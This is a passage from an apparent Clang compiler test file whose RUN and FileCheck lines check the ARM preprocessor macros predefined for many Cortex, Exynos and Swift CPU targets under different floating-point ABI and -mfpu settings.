// NOHWDIV-NOT:#define __ARM_ARCH_EXT_IDIV__
// Check that -mfpu works properly for Cortex-A7 (enabled by default).
// RUN: %clang -target armv7-none-linux-gnueabi -mcpu=cortex-a7 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=DEFAULTFPU-A7 %s
// RUN: %clang -target armv7-none-linux-gnueabi -mthumb -mcpu=cortex-a7 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=DEFAULTFPU-A7 %s
// RUN: %clang -target armv7-none-linux-gnueabihf -mcpu=cortex-a7 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=DEFAULTFPU-A7 %s
// RUN: %clang -target armv7-none-linux-gnueabihf -mthumb -mcpu=cortex-a7 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=DEFAULTFPU-A7 %s
// DEFAULTFPU-A7:#define __ARM_FP 0xe
// DEFAULTFPU-A7:#define __ARM_NEON__ 1
// DEFAULTFPU-A7:#define __ARM_VFPV4__ 1
// RUN: %clang -target armv7-none-linux-gnueabi -mcpu=cortex-a7 -mfpu=none -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=FPUNONE-A7 %s
// RUN: %clang -target armv7-none-linux-gnueabi -mthumb -mcpu=cortex-a7 -mfpu=none -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=FPUNONE-A7 %s
// FPUNONE-A7-NOT:#define __ARM_FP 0x{{.*}}
// FPUNONE-A7-NOT:#define __ARM_NEON__ 1
// FPUNONE-A7-NOT:#define __ARM_VFPV4__ 1
// RUN: %clang -target armv7-none-linux-gnueabi -mcpu=cortex-a7 -mfpu=vfp4 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=NONEON-A7 %s
// RUN: %clang -target armv7-none-linux-gnueabi -mthumb -mcpu=cortex-a7 -mfpu=vfp4 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=NONEON-A7 %s
// NONEON-A7:#define __ARM_FP 0xe
// NONEON-A7-NOT:#define __ARM_NEON__ 1
// NONEON-A7:#define __ARM_VFPV4__ 1
// Check that -mfpu works properly for Cortex-A5 (enabled by default).
// RUN: %clang -target armv7-none-linux-gnueabi -mcpu=cortex-a5 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=DEFAULTFPU-A5 %s
// RUN: %clang -target armv7-none-linux-gnueabi -mthumb -mcpu=cortex-a5 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=DEFAULTFPU-A5 %s
// DEFAULTFPU-A5:#define __ARM_FP 0xe
// DEFAULTFPU-A5:#define __ARM_NEON__ 1
// DEFAULTFPU-A5:#define __ARM_VFPV4__ 1
// RUN: %clang -target armv7-none-linux-gnueabi -mcpu=cortex-a5 -mfpu=none -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=FPUNONE-A5 %s
// RUN: %clang -target armv7-none-linux-gnueabi -mthumb -mcpu=cortex-a5 -mfpu=none -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=FPUNONE-A5 %s
// FPUNONE-A5-NOT:#define __ARM_FP 0x{{.*}}
// FPUNONE-A5-NOT:#define __ARM_NEON__ 1
// FPUNONE-A5-NOT:#define __ARM_VFPV4__ 1
// RUN: %clang -target armv7-none-linux-gnueabi -mcpu=cortex-a5 -mfpu=vfp4-d16 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=NONEON-A5 %s
// RUN: %clang -target armv7-none-linux-gnueabi -mthumb -mcpu=cortex-a5 -mfpu=vfp4-d16 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=NONEON-A5 %s
// NONEON-A5:#define __ARM_FP 0xe
// NONEON-A5-NOT:#define __ARM_NEON__ 1
// NONEON-A5:#define __ARM_VFPV4__ 1
// FIXME: add check for further predefines
// Test whether predefines are as expected when targeting ep9312.
// RUN: %clang -target armv4t -mcpu=ep9312 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A4T %s
// A4T-NOT:#define __ARM_FEATURE_DSP
// A4T-NOT:#define __ARM_FP 0x{{.*}}
// Test whether predefines are as expected when targeting arm10tdmi.
// RUN: %clang -target armv5 -mcpu=arm10tdmi -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A5T %s
// A5T-NOT:#define __ARM_FEATURE_DSP
// A5T-NOT:#define __ARM_FP 0x{{.*}}
// Test whether predefines are as expected when targeting cortex-a5i (soft FP ABI as default).
// RUN: %clang -target armv7 -mcpu=cortex-a5 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A5 %s
// RUN: %clang -target armv7 -mthumb -mcpu=cortex-a5 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A5 %s
// A5:#define __ARM_ARCH 7
// A5:#define __ARM_ARCH_7A__ 1
// A5-NOT:#define __ARM_ARCH_EXT_IDIV__
// A5:#define __ARM_ARCH_PROFILE 'A'
// A5-NOT:#define __ARM_DWARF_EH__ 1
// A5-NOT: #define __ARM_FEATURE_DIRECTED_ROUNDING
// A5:#define __ARM_FEATURE_DSP 1
// A5-NOT: #define __ARM_FEATURE_NUMERIC_MAXMIN
// A5-NOT:#define __ARM_FP 0x
// Test whether predefines are as expected when targeting cortex-a5 (softfp FP ABI as default).
// RUN: %clang -target armv7-eabi -mcpu=cortex-a5 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A5-ALLOW-FP-INSTR %s
// RUN: %clang -target armv7-eabi -mthumb -mcpu=cortex-a5 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A5-ALLOW-FP-INSTR %s
// A5-ALLOW-FP-INSTR:#define __ARM_ARCH 7
// A5-ALLOW-FP-INSTR:#define __ARM_ARCH_7A__ 1
// A5-ALLOW-FP-INSTR-NOT:#define __ARM_ARCH_EXT_IDIV__
// A5-ALLOW-FP-INSTR:#define __ARM_ARCH_PROFILE 'A'
// A5-ALLOW-FP-INSTR-NOT: #define __ARM_FEATURE_DIRECTED_ROUNDING
// A5-ALLOW-FP-INSTR:#define __ARM_FEATURE_DSP 1
// A5-ALLOW-FP-INSTR-NOT: #define __ARM_FEATURE_NUMERIC_MAXMIN
// A5-ALLOW-FP-INSTR:#define __ARM_FP 0xe
// Test whether predefines are as expected when targeting cortex-a7 (soft FP ABI as default).
// RUN: %clang -target armv7k -mcpu=cortex-a7 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A7 %s
// RUN: %clang -target armv7k -mthumb -mcpu=cortex-a7 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A7 %s
// A7:#define __ARM_ARCH 7
// A7:#define __ARM_ARCH_EXT_IDIV__ 1
// A7:#define __ARM_ARCH_PROFILE 'A'
// A7-NOT:#define __ARM_DWARF_EH__ 1
// A7:#define __ARM_FEATURE_DSP 1
// A7-NOT:#define __ARM_FP 0x
// Test whether predefines are as expected when targeting cortex-a7 (softfp FP ABI as default).
// RUN: %clang -target armv7k-eabi -mcpu=cortex-a7 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A7-ALLOW-FP-INSTR %s
// RUN: %clang -target armv7k-eabi -mthumb -mcpu=cortex-a7 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A7-ALLOW-FP-INSTR %s
// A7-ALLOW-FP-INSTR:#define __ARM_ARCH 7
// A7-ALLOW-FP-INSTR:#define __ARM_ARCH_EXT_IDIV__ 1
// A7-ALLOW-FP-INSTR:#define __ARM_ARCH_PROFILE 'A'
// A7-ALLOW-FP-INSTR:#define __ARM_FEATURE_DSP 1
// A7-ALLOW-FP-INSTR:#define __ARM_FP 0xe
// Test whether predefines are as expected when targeting cortex-a7.
// RUN: %clang -target x86_64-apple-darwin -arch armv7k -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV7K %s
// ARMV7K:#define __ARM_ARCH 7
// ARMV7K:#define __ARM_ARCH_EXT_IDIV__ 1
// ARMV7K:#define __ARM_ARCH_PROFILE 'A'
// ARMV7K:#define __ARM_DWARF_EH__ 1
// ARMV7K:#define __ARM_FEATURE_DSP 1
// ARMV7K:#define __ARM_FP 0xe
// ARMV7K:#define __ARM_PCS_VFP 1
// Test whether predefines are as expected when targeting cortex-a8 (soft FP ABI as default).
// RUN: %clang -target armv7 -mcpu=cortex-a8 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A8 %s
// RUN: %clang -target armv7 -mthumb -mcpu=cortex-a8 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A8 %s
// A8-NOT:#define __ARM_ARCH_EXT_IDIV__
// A8:#define __ARM_FEATURE_DSP 1
// A8-NOT:#define __ARM_FP 0x
// Test whether predefines are as expected when targeting cortex-a8 (softfp FP ABI as default).
// RUN: %clang -target armv7-eabi -mcpu=cortex-a8 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv7-eabi -mthumb -mcpu=cortex-a8 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A8-ALLOW-FP-INSTR %s
// A8-ALLOW-FP-INSTR-NOT:#define __ARM_ARCH_EXT_IDIV__
// A8-ALLOW-FP-INSTR:#define __ARM_FEATURE_DSP 1
// A8-ALLOW-FP-INSTR:#define __ARM_FP 0xc
// Test whether predefines are as expected when targeting cortex-a9 (soft FP as default).
// RUN: %clang -target armv7 -mcpu=cortex-a9 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A9 %s
// RUN: %clang -target armv7 -mthumb -mcpu=cortex-a9 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A9 %s
// A9-NOT:#define __ARM_ARCH_EXT_IDIV__
// A9:#define __ARM_FEATURE_DSP 1
// A9-NOT:#define __ARM_FP 0x
// Test whether predefines are as expected when targeting cortex-a9 (softfp FP as default).
// RUN: %clang -target armv7-eabi -mcpu=cortex-a9 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A9-ALLOW-FP-INSTR %s
// RUN: %clang -target armv7-eabi -mthumb -mcpu=cortex-a9 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A9-ALLOW-FP-INSTR %s
// A9-ALLOW-FP-INSTR-NOT:#define __ARM_ARCH_EXT_IDIV__
// A9-ALLOW-FP-INSTR:#define __ARM_FEATURE_DSP 1
// A9-ALLOW-FP-INSTR:#define __ARM_FP 0xe
// Check that -mfpu works properly for Cortex-A12 (enabled by default).
// RUN: %clang -target armv7-none-linux-gnueabi -mcpu=cortex-a12 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=DEFAULTFPU-A12 %s
// RUN: %clang -target armv7-none-linux-gnueabi -mthumb -mcpu=cortex-a12 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=DEFAULTFPU-A12 %s
// DEFAULTFPU-A12:#define __ARM_FP 0xe
// DEFAULTFPU-A12:#define __ARM_NEON__ 1
// DEFAULTFPU-A12:#define __ARM_VFPV4__ 1
// RUN: %clang -target armv7-none-linux-gnueabi -mcpu=cortex-a12 -mfpu=none -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=FPUNONE-A12 %s
// RUN: %clang -target armv7-none-linux-gnueabi -mthumb -mcpu=cortex-a12 -mfpu=none -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=FPUNONE-A12 %s
// FPUNONE-A12-NOT:#define __ARM_FP 0x{{.*}}
// FPUNONE-A12-NOT:#define __ARM_NEON__ 1
// FPUNONE-A12-NOT:#define __ARM_VFPV4__ 1
// Test whether predefines are as expected when targeting cortex-a12 (soft FP ABI as default).
// RUN: %clang -target armv7 -mcpu=cortex-a12 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A12 %s
// RUN: %clang -target armv7 -mthumb -mcpu=cortex-a12 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A12 %s
// A12:#define __ARM_ARCH 7
// A12:#define __ARM_ARCH_7A__ 1
// A12:#define __ARM_ARCH_EXT_IDIV__ 1
// A12:#define __ARM_ARCH_PROFILE 'A'
// A12:#define __ARM_FEATURE_DSP 1
// A12-NOT:#define __ARM_FP 0x
// Test whether predefines are as expected when targeting cortex-a12 (soft FP ABI as default).
// RUN: %clang -target armv7-eabi -mcpu=cortex-a12 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A12-ALLOW-FP-INSTR %s
// RUN: %clang -target armv7-eabi -mthumb -mcpu=cortex-a12 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A12-ALLOW-FP-INSTR %s
// A12-ALLOW-FP-INSTR:#define __ARM_ARCH 7
// A12-ALLOW-FP-INSTR:#define __ARM_ARCH_7A__ 1
// A12-ALLOW-FP-INSTR:#define __ARM_ARCH_EXT_IDIV__ 1
// A12-ALLOW-FP-INSTR:#define __ARM_ARCH_PROFILE 'A'
// A12-ALLOW-FP-INSTR:#define __ARM_FEATURE_DSP 1
// A12-ALLOW-FP-INSTR:#define __ARM_FP 0xe
// Test whether predefines are as expected when targeting cortex-a15 (soft FP ABI as default).
// RUN: %clang -target armv7 -mcpu=cortex-a15 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A15 %s
// RUN: %clang -target armv7 -mthumb -mcpu=cortex-a15 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A15 %s
// A15:#define __ARM_ARCH_EXT_IDIV__ 1
// A15:#define __ARM_FEATURE_DSP 1
// A15-NOT:#define __ARM_FP 0x
// Test whether predefines are as expected when targeting cortex-a15 (softfp ABI as default).
// RUN: %clang -target armv7-eabi -mcpu=cortex-a15 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A15-ALLOW-FP-INSTR %s
// RUN: %clang -target armv7-eabi -mthumb -mcpu=cortex-a15 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A15-ALLOW-FP-INSTR %s
// A15-ALLOW-FP-INSTR:#define __ARM_ARCH_EXT_IDIV__ 1
// A15-ALLOW-FP-INSTR:#define __ARM_FEATURE_DSP 1
// A15-ALLOW-FP-INSTR:#define __ARM_FP 0xe
// Check that -mfpu works properly for Cortex-A17 (enabled by default).
// RUN: %clang -target armv7-none-linux-gnueabi -mcpu=cortex-a17 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=DEFAULTFPU-A17 %s
// RUN: %clang -target armv7-none-linux-gnueabi -mthumb -mcpu=cortex-a17 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=DEFAULTFPU-A17 %s
// DEFAULTFPU-A17:#define __ARM_FP 0xe
// DEFAULTFPU-A17:#define __ARM_NEON__ 1
// DEFAULTFPU-A17:#define __ARM_VFPV4__ 1
// RUN: %clang -target armv7-none-linux-gnueabi -mcpu=cortex-a17 -mfpu=none -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=FPUNONE-A17 %s
// RUN: %clang -target armv7-none-linux-gnueabi -mthumb -mcpu=cortex-a17 -mfpu=none -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=FPUNONE-A17 %s
// FPUNONE-A17-NOT:#define __ARM_FP 0x{{.*}}
// FPUNONE-A17-NOT:#define __ARM_NEON__ 1
// FPUNONE-A17-NOT:#define __ARM_VFPV4__ 1
// Test whether predefines are as expected when targeting cortex-a17 (soft FP ABI as default).
// RUN: %clang -target armv7 -mcpu=cortex-a17 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A17 %s
// RUN: %clang -target armv7 -mthumb -mcpu=cortex-a17 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A17 %s
// A17:#define __ARM_ARCH 7
// A17:#define __ARM_ARCH_7A__ 1
// A17:#define __ARM_ARCH_EXT_IDIV__ 1
// A17:#define __ARM_ARCH_PROFILE 'A'
// A17:#define __ARM_FEATURE_DSP 1
// A17-NOT:#define __ARM_FP 0x
// Test whether predefines are as expected when targeting cortex-a17 (softfp FP ABI as default).
// RUN: %clang -target armv7-eabi -mcpu=cortex-a17 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A17-ALLOW-FP-INSTR %s
// RUN: %clang -target armv7-eabi -mthumb -mcpu=cortex-a17 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=A17-ALLOW-FP-INSTR %s
// A17-ALLOW-FP-INSTR:#define __ARM_ARCH 7
// A17-ALLOW-FP-INSTR:#define __ARM_ARCH_7A__ 1
// A17-ALLOW-FP-INSTR:#define __ARM_ARCH_EXT_IDIV__ 1
// A17-ALLOW-FP-INSTR:#define __ARM_ARCH_PROFILE 'A'
// A17-ALLOW-FP-INSTR:#define __ARM_FEATURE_DSP 1
// A17-ALLOW-FP-INSTR:#define __ARM_FP 0xe
// Test whether predefines are as expected when targeting swift (soft FP ABI as default).
// RUN: %clang -target armv7s -mcpu=swift -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=SWIFT %s
// RUN: %clang -target armv7s -mthumb -mcpu=swift -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=SWIFT %s
// SWIFT:#define __ARM_ARCH_EXT_IDIV__ 1
// SWIFT:#define __ARM_FEATURE_DSP 1
// SWIFT-NOT:#define __ARM_FP 0xxE
// Test whether predefines are as expected when targeting swift (softfp FP ABI as default).
// RUN: %clang -target armv7s-eabi -mcpu=swift -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=SWIFT-ALLOW-FP-INSTR %s
// RUN: %clang -target armv7s-eabi -mthumb -mcpu=swift -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=SWIFT-ALLOW-FP-INSTR %s
// SWIFT-ALLOW-FP-INSTR:#define __ARM_ARCH_EXT_IDIV__ 1
// SWIFT-ALLOW-FP-INSTR:#define __ARM_FEATURE_DSP 1
// SWIFT-ALLOW-FP-INSTR:#define __ARM_FP 0xe
// Test whether predefines are as expected when targeting ARMv8-A Cortex implementations (soft FP ABI as default)
// RUN: %clang -target armv8 -mcpu=cortex-a32 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// RUN: %clang -target armv8 -mthumb -mcpu=cortex-a32 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// RUN: %clang -target armv8 -mcpu=cortex-a35 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// RUN: %clang -target armv8 -mthumb -mcpu=cortex-a35 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// RUN: %clang -target armv8 -mcpu=cortex-a53 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// RUN: %clang -target armv8 -mthumb -mcpu=cortex-a53 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// RUN: %clang -target armv8 -mcpu=cortex-a57 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// RUN: %clang -target armv8 -mthumb -mcpu=cortex-a57 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// RUN: %clang -target armv8 -mcpu=cortex-a72 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// RUN: %clang -target armv8 -mthumb -mcpu=cortex-a72 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// RUN: %clang -target armv8 -mcpu=cortex-a73 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// RUN: %clang -target armv8 -mthumb -mcpu=cortex-a73 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
//
// RUN: %clang -target armv8 -mcpu=exynos-m1 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// RUN: %clang -target armv8 -mthumb -mcpu=exynos-m1 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// RUN: %clang -target armv8 -mcpu=exynos-m2 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// RUN: %clang -target armv8 -mthumb -mcpu=exynos-m2 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// RUN: %clang -target armv8 -mcpu=exynos-m3 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// RUN: %clang -target armv8 -mthumb -mcpu=exynos-m3 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// RUN: %clang -target armv8 -mcpu=exynos-m4 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// RUN: %clang -target armv8 -mthumb -mcpu=exynos-m4 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// RUN: %clang -target armv8 -mcpu=exynos-m5 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// RUN: %clang -target armv8 -mthumb -mcpu=exynos-m5 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8 %s
// ARMV8:#define __ARM_ARCH_EXT_IDIV__ 1
// ARMV8:#define __ARM_FEATURE_DSP 1
// ARMV8-NOT:#define __ARM_FP 0x
// Test whether predefines are as expected when targeting ARMv8-A Cortex implementations (softfp FP ABI as default)
// RUN: %clang -target armv8-eabi -mcpu=cortex-a32 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8-eabi -mthumb -mcpu=cortex-a32 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8-eabi -mcpu=cortex-a35 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8-eabi -mthumb -mcpu=cortex-a35 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8-eabi -mcpu=cortex-a53 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8-eabi -mthumb -mcpu=cortex-a53 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8-eabi -mcpu=cortex-a57 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8-eabi -mthumb -mcpu=cortex-a57 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8-eabi -mcpu=cortex-a72 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8-eabi -mthumb -mcpu=cortex-a72 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8-eabi -mcpu=cortex-a73 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8-eabi -mthumb -mcpu=cortex-a73 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
//
// RUN: %clang -target armv8-eabi -mcpu=exynos-m1 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8-eabi -mthumb -mcpu=exynos-m1 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8-eabi -mcpu=exynos-m2 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8-eabi -mthumb -mcpu=exynos-m2 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8-eabi -mcpu=exynos-m3 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8-eabi -mthumb -mcpu=exynos-m3 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8-eabi -mcpu=exynos-m4 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8-eabi -mthumb -mcpu=exynos-m4 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8-eabi -mcpu=exynos-m5 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// RUN: %clang -target armv8-eabi -mthumb -mcpu=exynos-m5 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=ARMV8-ALLOW-FP-INSTR %s
// ARMV8-ALLOW-FP-INSTR:#define __ARM_ARCH_EXT_IDIV__ 1
// ARMV8-ALLOW-FP-INSTR:#define __ARM_FEATURE_DSP 1
// ARMV8-ALLOW-FP-INSTR:#define __ARM_FP 0xe
// Test whether predefines are as expected when targeting cortex-r4.
// RUN: %clang -target armv7 -mcpu=cortex-r4 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=R4-ARM %s
// R4-ARM-NOT:#define __ARM_ARCH_EXT_IDIV__
// R4-ARM:#define __ARM_FEATURE_DSP 1
// R4-ARM-NOT:#define __ARM_FP 0x{{.*}}
// RUN: %clang -target armv7 -mthumb -mcpu=cortex-r4 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=R4-THUMB %s
// R4-THUMB:#define __ARM_ARCH_EXT_IDIV__ 1
// R4-THUMB:#define __ARM_FEATURE_DSP 1
// R4-THUMB-NOT:#define __ARM_FP 0x{{.*}}
// Test whether predefines are as expected when targeting cortex-r4f (soft FP ABI as default).
// RUN: %clang -target armv7 -mcpu=cortex-r4f -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=R4F-ARM %s
// R4F-ARM-NOT:#define __ARM_ARCH_EXT_IDIV__
// R4F-ARM:#define __ARM_FEATURE_DSP 1
// R4F-ARM-NOT:#define __ARM_FP 0x
// Test whether predefines are as expected when targeting cortex-r4f (softfp FP ABI as default).
// RUN: %clang -target armv7-eabi -mcpu=cortex-r4f -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=R4F-ARM-ALLOW-FP-INSTR %s
// R4F-ARM-ALLOW-FP-INSTR-NOT:#define __ARM_ARCH_EXT_IDIV__
// R4F-ARM-ALLOW-FP-INSTR:#define __ARM_FEATURE_DSP 1
// R4F-ARM-ALLOW-FP-INSTR:#define __ARM_FP 0xc
// RUN: %clang -target armv7 -mthumb -mcpu=cortex-r4f -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=R4F-THUMB %s
// R4F-THUMB:#define __ARM_ARCH_EXT_IDIV__ 1
// R4F-THUMB:#define __ARM_FEATURE_DSP 1
// R4F-THUMB-NOT:#define __ARM_FP 0x
// RUN: %clang -target armv7-eabi -mthumb -mcpu=cortex-r4f -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=R4F-THUMB-ALLOW-FP-INSTR %s
// R4F-THUMB-ALLOW-FP-INSTR:#define __ARM_ARCH_EXT_IDIV__ 1
// R4F-THUMB-ALLOW-FP-INSTR:#define __ARM_FEATURE_DSP 1
// R4F-THUMB-ALLOW-FP-INSTR:#define __ARM_FP 0xc
// Test whether predefines are as expected when targeting cortex-r5 (soft FP ABI as default).
// RUN: %clang -target armv7 -mcpu=cortex-r5 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=R5 %s
// RUN: %clang -target armv7 -mthumb -mcpu=cortex-r5 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=R5 %s
// R5:#define __ARM_ARCH_EXT_IDIV__ 1
// R5:#define __ARM_FEATURE_DSP 1
// R5-NOT:#define __ARM_FP 0x
// Test whether predefines are as expected when targeting cortex-r5 (softfp FP ABI as default).
// RUN: %clang -target armv7-eabi -mcpu=cortex-r5 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=R5-ALLOW-FP-INSTR %s
// RUN: %clang -target armv7-eabi -mthumb -mcpu=cortex-r5 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=R5-ALLOW-FP-INSTR %s
// R5-ALLOW-FP-INSTR:#define __ARM_ARCH_EXT_IDIV__ 1
// R5-ALLOW-FP-INSTR:#define __ARM_FEATURE_DSP 1
// R5-ALLOW-FP-INSTR:#define __ARM_FP 0xc
// Test whether predefines are as expected when targeting cortex-r7 and cortex-r8 (soft FP ABI as default).
// RUN: %clang -target armv7 -mcpu=cortex-r7 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=R7-R8 %s
// RUN: %clang -target armv7 -mthumb -mcpu=cortex-r7 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=R7-R8 %s
// RUN: %clang -target armv7 -mcpu=cortex-r8 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=R7-R8 %s
// RUN: %clang -target armv7 -mthumb -mcpu=cortex-r8 -x c -E -dM %s -o - | FileCheck -match-full-lines --check-prefix=R7-R8 %s
// R7-R8:#define __ARM_ARCH_EXT_IDIV__ 1
// R7-R8:#define __ARM_FEATURE_DSP 1
// R7-R8-NOT:#define __ARM_FP 0x
// Test whether predefines are as expected when targeting cortex-r7 and cortex-r8 (softfp FP ABI as default).
